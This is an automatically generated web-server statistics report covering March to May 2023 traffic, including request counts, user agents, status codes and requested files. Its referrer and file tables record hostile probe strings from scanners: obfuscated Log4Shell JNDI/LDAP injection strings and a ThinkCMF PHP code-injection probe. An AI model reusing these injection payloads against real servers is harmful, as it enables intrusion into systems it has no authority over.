Program started on Wed, May 31 2023 at 3:14 PM.
Analyzed requests from Fri, Mar 03 2023 at 2:32 PM to Wed, May 31 2023 at 3:10 PM (89.03 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending May 31 2023 at 3:14 PM.
Successful requests: 4,613 (393)
Average successful requests per day: 51 (56)
Successful requests for pages: 4,366 (370)
Average successful requests for pages per day: 49 (52)
Failed requests: 8,155 (73)
Redirected requests: 2 (0)
Distinct files requested: 194 (25)
Distinct hosts served: 1,630 (55)
Data transferred: 53.25 megabytes (429.48 kilobytes)
Average data transferred per day: 612.45 kilobytes (61.35 kilobytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 50 requests for pages or part thereof.
month | #reqs | #pages | |
---|---|---|---|
Mar 2023 | 1032 | 979 | ![]() ![]() |
Apr 2023 | 1878 | 1764 | ![]() ![]() |
May 2023 | 1703 | 1623 | ![]() ![]() |
Busiest month: Apr 2023 (1,764 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 20 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 608 | 560 | ![]() ![]() ![]() |
Mon | 637 | 586 | ![]() ![]() ![]() ![]() |
Tue | 842 | 834 | ![]() ![]() ![]() |
Wed | 537 | 535 | ![]() ![]() ![]() ![]() |
Thu | 726 | 652 | ![]() ![]() |
Fri | 608 | 603 | ![]() ![]() ![]() ![]() ![]() |
Sat | 655 | 596 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 6 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 233 | 189 | ![]() |
1 | 206 | 202 | ![]() ![]() |
2 | 216 | 214 | ![]() ![]() |
3 | 200 | 184 | ![]() ![]() ![]() ![]() ![]() |
4 | 175 | 170 | ![]() ![]() ![]() ![]() |
5 | 203 | 203 | ![]() ![]() |
6 | 144 | 144 | ![]() ![]() |
7 | 168 | 153 | ![]() ![]() ![]() |
8 | 262 | 244 | ![]() ![]() ![]() |
9 | 203 | 187 | ![]() |
10 | 182 | 182 | ![]() ![]() ![]() ![]() ![]() |
11 | 222 | 220 | ![]() ![]() ![]() |
12 | 238 | 209 | ![]() ![]() ![]() |
13 | 166 | 165 | ![]() ![]() ![]() |
14 | 161 | 156 | ![]() ![]() ![]() |
15 | 154 | 154 | ![]() ![]() ![]() |
16 | 141 | 141 | ![]() ![]() |
17 | 174 | 174 | ![]() ![]() ![]() ![]() |
18 | 175 | 174 | ![]() ![]() ![]() ![]() |
19 | 268 | 213 | ![]() ![]() |
20 | 129 | 129 | ![]() ![]() ![]() |
21 | 234 | 234 | ![]() ![]() ![]() ![]() |
22 | 187 | 154 | ![]() ![]() ![]() |
23 | 172 | 171 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
#reqs | %bytes | domain |
---|---|---|
4613 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
451 | 0.91% | 193.32 |
248 | 0.36% | 52 |
209 | 0.38% | 185.67 |
178 | 0.30% | 34 |
145 | 0.30% | 179.43 |
119 | 66.92% | 92 |
110 | 0.22% | 45 |
101 | 0.20% | 152.89 |
91 | 0.19% | 167.94 |
86 | 0.18% | 94 |
81 | 0.23% | 51 |
75 | 0.15% | 103 |
74 | 0.14% | 35 |
73 | 0.10% | 3 |
71 | 0.51% | 95 |
70 | 0.78% | 148.251 |
63 | 0.13% | 193.35 |
63 | 0.13% | 198.235 |
59 | 0.12% | 40 |
56 | 0.11% | 205.210 |
2190 | 27.64% | [not listed: 402 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring URLs, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring sites, sorted by the number of requests.
#reqs | site |
---|---|
26 | http://95.173.162.186/ |
17 | https://www.bing.com/ |
6 | https://www.netcraft.com/ |
6 | http://ip186.radyotelekom.org/ |
4 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ |
1 | https://google.com/ |
1 | t('${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}/ |
1 | https://www.google.com/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
#reqs | #pages | browser |
---|---|---|
447 | 447 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 |
184 | 183 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36 |
158 | 158 | Hello World |
138 | 138 | Linux Gnu (cow) |
146 | 138 | Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/) |
131 | 131 | Mozilla/5.0 zgrab/0.x |
129 | 129 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
116 | 116 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com |
109 | 109 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
97 | 97 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
85 | 85 | python-requests/2.28.2 |
80 | 80 | Java/11.0.10 |
77 | 77 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 |
74 | 74 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 |
70 | 69 | serpstatbot/2.1 (advanced backlink tracking bot; https://serpstatbot.com/; abuse@serpstatbot.com) |
68 | 68 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
65 | 65 | Mozilla/5.0 (X11; Linux i686; rv:110.0) Gecko/20100101 Firefox/110.0 |
59 | 59 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1) |
55 | 55 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
122 | 54 | Go-http-client/1.1 |
53 | 53 | Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html) |
53 | 53 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
53 | 53 | Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
52 | 52 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
52 | 52 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7 |
51 | 48 | 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36'Bytespider;https://zhanzhang.toutiao.com/ |
47 | 47 | Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 |
43 | 43 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 |
42 | 42 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 |
41 | 41 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 |
36 | 36 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 |
35 | 34 | Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) |
184 | 32 | Apache-HttpClient/4.5.1 (Java/11.0.10) |
28 | 28 | Python/3.8 aiohttp/3.8.3 |
26 | 26 | Mozilla/5.0 |
25 | 25 | masscan/1.3 (https://github.com/robertdavidgraham/masscan) |
25 | 25 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 |
25 | 25 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
25 | 25 | Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) |
24 | 24 | Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0 |
732 | 719 | [not listed: 217 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 1932 | 1919 | Safari |
1693 | 1680 | Safari/537 | |
133 | 133 | Safari/604 | |
52 | 52 | Safari/601 | |
26 | 26 | Safari/533 | |
12 | 12 | Safari/534 | |
9 | 9 | Safari/605 | |
2 | 2 | Safari/530 | |
2 | 2 | Safari/525 | |
1 | 1 | Safari/600 | |
1 | 1 | Safari/617 | |
2 | 401 | 399 | Firefox |
71 | 71 | Firefox/110 | |
55 | 55 | Firefox/76 | |
47 | 47 | Firefox/78 | |
36 | 36 | Firefox/47 | |
28 | 28 | Firefox/77 | |
25 | 25 | Firefox/73 | |
20 | 20 | Firefox/8 | |
18 | 18 | Firefox/9 | |
18 | 17 | Firefox/65 | |
13 | 13 | Firefox/109 | |
3 | 382 | 373 | Netscape (compatible) |
4 | 162 | 162 | Mozilla |
2 | 2 | Mozilla/1 | |
5 | 158 | 158 | Hello World |
6 | 138 | 138 | Linux Gnu (cow) |
7 | 116 | 116 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
116 | 116 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
8 | 95 | 95 | python-requests |
95 | 95 | python-requests/2 | |
9 | 82 | 82 | Java |
80 | 80 | Java/11 | |
2 | 2 | Java/1 | |
10 | 70 | 69 | serpstatbot |
70 | 69 | serpstatbot/2 | |
11 | 122 | 54 | Go-http-client |
122 | 54 | Go-http-client/1 | |
12 | 45 | 43 | curl |
45 | 43 | curl/7 | |
13 | 41 | 41 | Python |
41 | 41 | Python/3 | |
14 | 184 | 32 | Apache-HttpClient |
184 | 32 | Apache-HttpClient/4 | |
15 | 31 | 31 | masscan |
31 | 31 | masscan/1 | |
16 | 15 | 15 | 'Mozilla |
15 | 15 | 'Mozilla/5 | |
17 | 14 | 14 | Xpanse, a Palo Alto Networks company, indexes customer network perimeters. If you have any questions or concerns, please reach out to: scaninfo@paloaltonetworks.com. |
18 | 12 | 12 | facebookexternalhit |
12 | 12 | facebookexternalhit/1 | |
19 | 11 | 11 | 'Cloud mapping experiment. Contact research@pdrlabs.net' |
20 | 9 | 9 | httpx - Open-source project (github.com |
9 | 9 | httpx - Open-source project (github.com/projectdiscovery/httpx) | |
42 | 42 | [not listed: 12 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 1766 | 1533 | OS unknown |
2 | 1496 | 1489 | Windows |
1168 | 1162 | Windows NT | |
302 | 301 | Unknown Windows | |
26 | 26 | Windows XP | |
3 | 403 | 403 | Unix |
401 | 401 | Linux | |
2 | 2 | BSD | |
4 | 340 | 336 | Macintosh |
5 | 57 | 54 | Known robots |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
4601 | 200 OK |
12 | 206 Partial content |
2 | 301 Document moved permanently |
1478 | 403 Access forbidden |
6664 | 404 Document not found |
13 | 408 Request timeout |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
size | #reqs | %bytes |
---|---|---|
0 | 318 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 464 | 0.76% |
1kB- 10kB | 3794 | 8.33% |
10kB-100kB | 24 | 1.63% |
100kB- 1MB | 5 | 1.00% |
1MB- 10MB | 8 | 88.28% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | extension |
---|---|---|
14 | 88.28% | .mp3 [MP3 sound files] |
4326 | 8.94% | [directories] |
40 | 1.96% | .html [Hypertext Markup Language] |
58 | 0.43% | .txt [Plain text] |
18 | 0.25% | .conf |
156 | 0.14% | .png [PNG graphics] |
1 | [not listed: 1 extension] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | directory |
---|---|---|
77 | 66.33% | /autoc060678/ |
66 | 22.18% | /autofae/ |
3928 | 7.73% | [root directory] |
525 | 3.72% | /tmp/ |
17 | 0.03% | http:// |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing files with at least 20 requests, sorted by the number of requests.
#reqs | %bytes | last time | file |
---|---|---|---|
3903 | 7.73% | May/31/23 3:06 PM | / |
74 | 0.15% | May/31/23 6:55 AM | /?XDEBUG_SESSION_START=phpstorm |
33 | 0.07% | May/26/23 3:24 PM | /?139.60.150.14 |
15 | 0.03% | May/31/23 6:07 AM | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
11 | 0.02% | May/30/23 6:28 PM | /?C=M;O=D |
68 | 0.16% | May/30/23 6:05 PM | /tmp/ |
67 | 0.13% | May/31/23 8:32 AM | /autoc060678/ |
62 | 0.12% | May/31/23 2:29 PM | /autofae/ |
58 | 0.32% | May/31/23 1:47 AM | /tmp/analog/ |
58 | 0.07% | May/30/23 11:11 PM | /tmp/webalizerftp/ |
58 | 0.13% | May/30/23 9:36 PM | /tmp/awstats/ |
36 | 0.28% | May/31/23 2:05 PM | /tmp/webalizer/ |
25 | 0.01% | May/30/23 6:11 PM | /readme.txt |
278 | 91.08% | May/31/23 12:32 PM | [not listed: 33 files] |